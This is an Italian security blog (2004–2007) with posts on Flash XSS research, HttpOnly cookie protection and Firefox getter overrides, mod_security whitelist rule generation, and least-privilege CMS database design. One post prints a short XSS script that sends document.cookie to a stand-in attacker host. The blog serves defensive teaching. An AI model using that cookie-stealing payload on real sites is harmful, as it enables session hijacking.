Security Thoughts
Friday, May 18, 2007, 17:19
Owasp Conference e Flash Application Testing.
Il 16 e 17 Maggio c'è stata a Milano la App Sec 2007 Owasp Conference.
Li' ho presentato una conferenza dal titolo:
Flash Application Testing: A New Attack Vector for XSS and Cross Site Flashing.
Descrive come in realtà le applicazioni scritte in Flash possono non essere così sicure e, come in ogni tecnologia, anche ActionScript ha i suoi cattivi pattern di sviluppo che possono portare una applicazione Flash ad essere attaccata e abusata lato client. Le vulnerabilità descritte riguardano un nuovo modo di approcciare al XSS e un nuovo vettore di attacco chiamato Cross Site Flashing.
Abstract
Scarica le slides in inglese Pdf o Swf :)
Nota: Dal momento che le slides possono non essere del tutto esplicative, cercherò di pubblicare a cadenze periodiche le problematiche più interessanti o richieste.
Insomma, il meglio deve ancora arrivare..
Stay Tuned.
Thursday, July 20, 2006, 20:23
HttpOnly e Firefox
Le vulnerabilità Xss sono spesso usate dagli attaccanti per appropriarsi dei cookies.
Una volta appropriatisi dei cookies ci sono varie possibilità di attacco come il Session Hijacking .
Un esempio classico per collezionare i cookies tramite XSS, è il seguente:
<script>
var img=new Image();
img.src="http://attaccante/cookiecollect.php?c="+document.cookie;
</script>
Queste due linee javascript, non fanno altro che forzare il browser che le esegue, a creare una immagine e a richiedere il contenuto dell'immagine al sito specificato.
Se il sito è controllato dall'attaccante, questi otterrà il cookie della vittima senza che la vittima se ne accorga.
Per capire quanto sia pericoloso, basta pensare alle sessioni e a come queste vengano usate per mantenere durante la navigazione su un sito eventuali credenziali di utente loggato o peggio di amministratore.
Microsoft già da un pò di tempo ha implementato, a partire da Internet Explorer 6 Service Pack 1, un modo per mitigare
tale problema.
La keyword HttpOnly.
Come funziona:
nell'header il server manda il cookie con l'attributo HttpOnly
Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
Explorer lo vede e blocca l'accesso al cookie da javascript.
Cioè non è più possibile ottenere tale valore usando document.cookie.
Si conoscono tecniche per bypassare questa restrizione ma facendo le dovute modifiche di sicurezza anche sul
server tali attacchi risultano fortemente mitigati se non azzerati completamente.
Attenzione però che si parla di esclusivamente blocco degli attacchi ai cookies e non di blocco del XSS,
che è di gran lunga peggiore.
Ora veniamo a Firefox e fratelli.
Mozilla a quanto pare non ha nessuna intenzione di implementare l'HttpOnly sui cookies.
Grazie ad Ascii con il quale un giorno abbiamo fatto un pò di considerazioni
sulle metodologie di blocco del XSS, ho approfondito la questione.
Gli sviluppatori di Mozilla sono riusciti a creare un framework di funzioni javascript molto
elastico e semplice da usare.
In particolare hanno definito delle funzioni di prototipizzazione e definizione di oggetti e classi.
Sfruttiamo nello specifico le funzioni __defineGetter__ e __defineSetter__ e applichiamole ai cookies.
Definizioni:
__defineGetter__ : permette di definire una funzione che viene eseguita ogni volta che richiediamo
il valore di un parametro o di una variabile.
__defineSetter__ : permette di definire una funzione che viene eseguita ogni volta che associamo un valore a un parametro o a una variabile.
Quindi:
HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});
bloccherà ogni richiesta al cookie da parte di codice javascript.
Ad es. in php:
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineGetter__("cookie",function (){return "sorry";});
alert(document.cookie);
</script>
mostrerà un alert con contenuto "sorry", anzichè il contenuto originale del cookie, e comunque internamente
Mozilla/Firefox, manterrà il contenuto originale.
E __defineSetter__?
Potrebbe essere usato per mitigare il Session Fixation
e altre tecniche di manipolazione dei cookie.
Cioè se non vogliamo che il cookie venga manipolato dal layer javascript possiamo definire:
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});
Ad es.
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});
document.cookie="hello"
alert(document.cookie);
</script>
Questo approccio in realtà è comunque poco utile, dal momento che i cookie possono essere ridefiniti usando:
<meta http-equiv="Set-Cookie" content="value=n;path=/">
Se pero' filtriamo i tag meta sugli input la tecnica del setter blocca di fatto la manipolazione dei cookie via html.
Ovviamente i setter e i getter potrebbero essere applicati per bloccare anche le funzioni tipo: XMLHttpRequest & co.
ma purtoppo le funzioni __defineGetter__ e __defineSetter__ non sono implementate su tutti i browser (leggi MS IE).
Sarebbe bello sfruttare tecniche simili anche su IExplorer, ma le mie ricerche non hanno portato a granchè
ah...quanto agogno una implementazione standard delle funzioni js su tutti i browser...:(
Monday, November 14, 2005, 20:23
Application firewall e approccio blacklist - 2.a puntata
Finalmente, a distanza di un annetto ho il tempo per annotare
i passi avanti sulla generazione automatica di regole per mod_security.
Non avendo avuto il tempo materiale per creare un webbot efficente, ho trovato un bel software GPL
del comune di Prato (complimenti allo sviluppatore!):
ht://Check.
Oltre alle varie funzionalita' di questo software che vi potrete divertire a leggere,
ce n'e' una interessante, che puo' essere utilizzata anche per il penetration testing:
la memorizzazione su DB Mysql di tutti i tag e relativi attributi
trovati durante la navigazione automatica del sito.
Non approfondiro' in questa al momento i possibili utilizzi per il penTest dei siti, ma andiamo a vedere
come si puo' sfruttare per generare delle regole per mod_security.
Supponiamo che faccia girare htcheck su www.example.com.
Preparazione:
- Nel file di configurazione htcheck.conf, impostiamo:
start_url: http://www.example.com/ (fatelo sul vostro eh! example non esiste ;)
- Lanciate poi htcheck:
$ htcheck -vsi
Attendete che sia finito il tutto...
htCheck dara' una serie di resoconti....ma non ci interessano poi tanto...
Quello che ci interessa e' il contenuto del DB.
$ mysql -u utente -p htcheck
mysql> show tables;
+-------------------+
| Tables_in_htcheck |
+-------------------+
| Accessibility |
| Cookies |
| HtmlAttribute |
| HtmlStatement |
| Link |
| Schedule |
| Server |
| Url |
| htCheck |
+-------------------+
...
In particolare la tabella Url.
proviamo a fare la seguente query:
select DISTINCT SUBSTRING_INDEX(url,'?',1),SUBSTRING(url,INSTR(url,'?')+1) from Url where url like'%?%'
Ci ritorna la suddivisione in due colonne delle url con le query string...
Bene. Queste informazioni ci servono per collezionare _tutte_ le query string sui riferimenti al nostro sito web..
Ora quello che bisogna fare e' un programma che estrae tali informazioni e le
traduce in regole per mod_security.
Ecco un programmino in perl che fa proprio questo Automatic Rules Generation for Mod_security - Rule-o-matic.
lanciatelo e in output vedrete le regole da inserire in mod_security.
Tali regole, saranno whitelist e sono estratte dai riferimenti cioe' da <a href="host/path/file?query">.
Un esempio:
<Location /docs.php>
SecFilterInheritance On
SecFilterSelective "ARG_id" "!^\d$"
</Location>
La suddetta regola significa:
Quando viene richiesta una pagina '/docs.php' con variabile 'id', il valore di 'id' puo' essere solo un numero.
Lo so che la spiegazione non e' proprio esaustiva ma se spiego tutto che gusto c'e'???
Wednesday, March 02, 2005, 22:57
Content Management Systems e Sicurezza.
Guardando in giro cosa il mondo IT ci offre quando cerchiamo un CMS ( Content Management Systems )
troviamo tante soluzioni GPL o meno...Quello che spesso pero' forse non ci rendiamo conto di
avere davanti ai nostri occhi e' una infinita' di sistemi con un design bene o male comune...
Un sistema CMS pare debba necessariamente funzionare nel seguente modo:
Server Web (Apache|Tomcat|IIS)
|
CMS <-- Accesso al CMS tramite sistema multi utente.
|
Linguaggio di scripting (php|asp|perl)
|
DBMS <-- Accesso al DBMS tramite UserDB PasswordDB
|
Database CMS
-------------------
Fig. 1
-------------------
Cioe':
Le funzionalita' di un CMS si basano sulla possibilita' (giusta) di permettere ad
un certo gruppo di utenti privilegiati e non di accedere, modificare e inserire
contenuti all'interno di un DBMS (Database Management System), sia esso Mysql, Postgres, MSSql
e chi piu' ne ha piu' ne metta.
Questo tipo di struttura viene detta accesso multi utente.
Tali contenuti vengono cosi' pubblicati dal CMS e visualizzati dal browser di turno.
Per fare cio' il CMS e' strutturato in tabelle nel DB che permettono di organizzare il contenuto
per tipologie.
In particolare gli utenti sono che hanno accesso ai contenuti avranno a disposizione uno username
e una password che permettera' loro di agire su una categoria di dati.
Username, password e privilegi saranno immagazzinate in una tabella appartenente al DB del CMS.
Domanda: Dove e' l'errore?
NB: Per non incorrere in confusione chiamero' Utenti CMS gli utenti che hanno accesso a CMS e alle
funzioni amministrative sul contenuto e Utenti DB gli utenti che fisicamente accedono al DMBS.
Risposta: L'accesso multi utente e' ad un solo livello!
Se (e accade spesso) il CMS risulta avere una vulnerabilita' di tipoSQL injection,
il cracker che si approfittera' di tale
bug avra' a disposizione la tabella degli utenti CMS e quindi la possibilita' eventuale di
scoprire quali sono gli utenti piu' privilegiati e soprattutto le loro password...
Da questo momento in poi le possibilita' di movimento all'interno del DB aumentano in proporzione
a cio' che il CMS lascia fare sul DB e/o sul sistema una volta acquisita la password di amministratore
del CMS stesso.
La soluzione e il design.
Molti (quasi tutti) DBMS permettono di creare viste, accesso (non) privilegiato a tabelle e a
DataBase in maniera selettiva, a seconda dell'utente che vi accede (Granularita degli accessi).
Questo vuol dire che in un CMS che rispetti queste caratteristiche devono esistere almeno per due tipologie di utenti del DB.
Una amministrativa e uno generica.
Quella amministrativa dovra' essere quella che permettera' agli utenti CMS di accedere alle tabelle
di contenuto e di amministrazione (tabella utenti CMS) in inserimento, selezione e modifica.
Quella generica servira' a tutti coloro i quali si collegano col loro browser al CMS per visionare ( privilegi di SELECT) i contenuti del sito.
Quindi il design di un CMS secondo il sottoscritto dovrebbe essere il seguente:
Server Web (Apache|Tomcat|IIS)
|
CMS / Pagine per Visualizzazione
|
Linguaggio di scripting (php|asp|perl)
|
DBMS <-- Accesso al DBMS tramite UserDB PasswordDB
| con Privilegi di Select sulle tabelle (viste|DB) dei contenuti
|
Database Contenuti
-------------------
Fig. 2
-------------------
Server Web (Apache|Tomcat|IIS)
|
CMS / Pagine per Amministrazione
|
Linguaggio di scripting (php|asp|perl)
|
DBMS <-- Accesso al DBMS tramite User2DB Password2DB
| con Privilegi di Modifica|Inserimento|Cancellazione
| sui DB (o tabelle) del CMS
|
Database CMS
------------------
Fig. 3
------------------
Cosa succede con un design di questo tipo?
Una SQL Injection non avra' effetto sulla tabella degli utenti CMS perche' l'utente DB di visualizzazione non
avra' accesso (neanche in SELECT) alla tabella degli utenti CMS.
Domanda: E se c'e' una SQL Injection nell'intefaccia di amministrazione?
Risposta: Vabbe'.....cambiate CMS.
Wednesday, February 23, 2005, 20:09
Leggere un file e riversarlo in una variabile
Oggi googolavo un po' cercando esempi di programmazione sicura.
In particolare cercavo esempi di codice c sulla lettura di file in una variabile.
Non trovando granche', ho scritto il seguente codice.
Se ci sono errori non esitate a farmeli notare.
saferead.c
Wednesday, December 01, 2004, 12:37
Application Firewall e approccio Blacklist
Da un pò di tempo mi arrovello sull'approccio "deny all, allow goodmembers" (whitelist), contro l'approccio "allow all, deny badmembers" (blacklist), applicati agli application firewall tipo Mod_Security per Apache.
Nell'approccio blacklist, ci sono infatti delle problematiche intrinseche, che consentono potenzialmente di bypassare le regole di diniego, sarebbe meglio un approccio integrativo di tipo whitelist.
E se insieme alle regole standard di blacklisting si dessero anche delle regole di whitelisting?
In che senso?
Supponiamo di avere un webbot o spider che faccia l'analisi completa del nostro sito web, e che questo spider ci estragga indirizzi nei quali sono presenti delle variabili.
Nella maggior parte dei casi tali variabili hanno valori numerici o alfanumerici o alfabetici.
Se il nostro spider estraesse i "tipi" di tali variabili e generasse delle regole da inserire nelle regole del firewall web, otterremmo una whitelist, che insieme alle solite componenti anti XSS e anti SQL Injection, ci darebbe un firewall sicuramente più completo.
Ebbene sto lavorando allo spiderino, che metterò sul sito appena sarà minimamente funzionante.
XML
Admin login | This weblog is from www.mylittlehomepage.net
Wisec - Un'Idea sviluppata e mantenuta da...
Wisec è scritto e mantenuto da
Stefano Di Paola.
Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.
